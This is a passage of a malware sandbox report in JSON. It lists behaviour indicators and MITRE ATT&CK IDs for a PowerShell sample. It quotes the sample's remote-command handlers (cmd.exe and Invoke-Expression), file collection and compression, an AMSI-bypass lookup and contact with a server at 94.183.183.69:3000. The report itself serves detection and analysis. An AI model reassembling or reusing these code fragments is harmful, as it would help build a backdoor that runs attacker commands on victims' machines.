Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"$29","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"powershell.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":3,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7108)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to compress file/directory using PowerShell cmdlet","description":"file/memory contains long string(File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"Compress-Archive -Path $Files.FullName -DestinationPath $ZipPath -Force\" (File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1560","relevance":1,"id":"string-656","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"$2a","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$2b","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import cryptographic keys into a CSP","description":"$2c","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to BitLocker activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-BitLockerVolume\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$bitlocker = Get-BitLockerVolume -MountPoint \"C:\"\" (Indicator: \"Get-BitLockerVolume\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-389","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007108-00000C2C-490178527\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007108-00000C2C-490789714\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007108-00000C2C-490178527\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007108-00000C2C-490789714\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"file/memory contains long string with (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$Software = Get-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*, HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*, HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* |\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007108-00000C2C-489217872\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007108-00000C2C-489218353\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007108-00000C2C-491154196\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007108-00000C2C-491154221\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$items = Get-ChildItem -Path \"$driveId\\\" -ErrorAction SilentlyContinue | Where-Object {$_.Name -notmatch $ExcludePatterns} | Sort-Object PSIsContainer -Descending | Select-Object -First 20\" (File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"file/memory contains long string with (Indicator: \".drivetype\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$driveId = $disk.DeviceID; $typeDesc = switch ($disk.DriveType) { 2 {\"USB\"} 3 {\"HDD/SSD\"} 4 {\"Network\"} default {\"Unknown\"} }\" (Indicator: \".drivetype\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00007108-00000C2C-490493904\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00007108-00000C2C-490493934\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007108)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00007108)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"7108\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000064006c006c0000000000 (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007108)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007108)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name Administrators (UID: 00000000-00007108)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name Performance Log Users (UID: 00000000-00007108)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name Performance Monitor Users (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor\" (Indicator: \" Win32_Process\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5Z5IWZ5IPFW7556DHPS4.temp\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF16ce41.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter C:\\temp (UID: 00000000-00007108)\n \"powershell.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\c5fnshuj (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"%TEMP%\\c5fnshuj\\c5fn\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134209115063445708.7108.DefaultAppDomain.powershell\" - (UID: 00000000-00007108)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\D04ag2LGQCdBGSRjAVzirEH3MGHKUauDEROkRn3lu9DsiZTQt4pOqULraNT9KhOb1yYqWaCmdKvvgEtP2iEiHNAwRkwO1eTXGIa8pFB3QtYWM4wM1HEs88\" - (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$32","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"94.183.183.69:3000\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"\"exec_cmd:(.*)\" { $realCmd = $Matches[1]; cmd.exe /c $realCmd 2>&1 | Out-String; \"success\" }\" (Indicator: \"cmd.exe /c\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$realCmd = $Matches[1]; (New-Object -ComObject WScript.Shell).Run(\"cmd.exe /c $realCmd\", 0, $false); \"success\"\" (Indicator: \"cmd.exe /c\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"cmd.exe /c \"$payload 2>&1\" | Out-File $logFileTemp -Append -Encoding utf8\" (Indicator: \"cmd.exe /c\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-Expression\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"\"exec_ps:(.*)\" { $realPs = $Matches[1]; Invoke-Expression $realPs 2>&1 | Out-String; \"success\" }\" (Indicator: \"Invoke-Expression\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Contains reference to WMI activity (Powershell command string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-390","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$34","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:7108:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7108:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:7108:120:WilError_01\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7108:120:WilError_01\"\n Process powershell.exe created mutex with name \"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex\"\n Process powershell.exe created mutex with name \"Local\\SM0:7108:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"Local\\SM0:7108:120:WilError_01\"\n Process powershell.exe created mutex with name \"SM0:7108:120:WilError_01\"\n Process powershell.exe created mutex with name \"SM0:7108:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Executes a PowerShell script","description":"Process \"powershell.exe\" with commandline \"-f \"C:\\\\73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin.ps1\"\" (UID: 00000000-00007108)","origin":"Monitored Target","mitre_attack_id":"T1059.001","id":"target-401","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134209115063445708.7108.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\D04ag2LGQCdBGSRjAVzirEH3MGHKUauDEROkRn3lu9DsiZTQt4pOqULraNT9KhOb1yYqWaCmdKvvgEtP2iEiHNAwRkwO1eTXGIa8pFB3QtYWM4wM1HEs88","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at B3190000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at DBBF0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2F40000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E1D80000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2F40000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E1D80000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E1D80000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2F40000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at B4790000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at B4790000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E5D20000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E5D20000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E5D20000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c720e3f87f0000@ntdll.dll\"\n \"220023000000000018c720e3f87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$37","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$38","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$39","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry 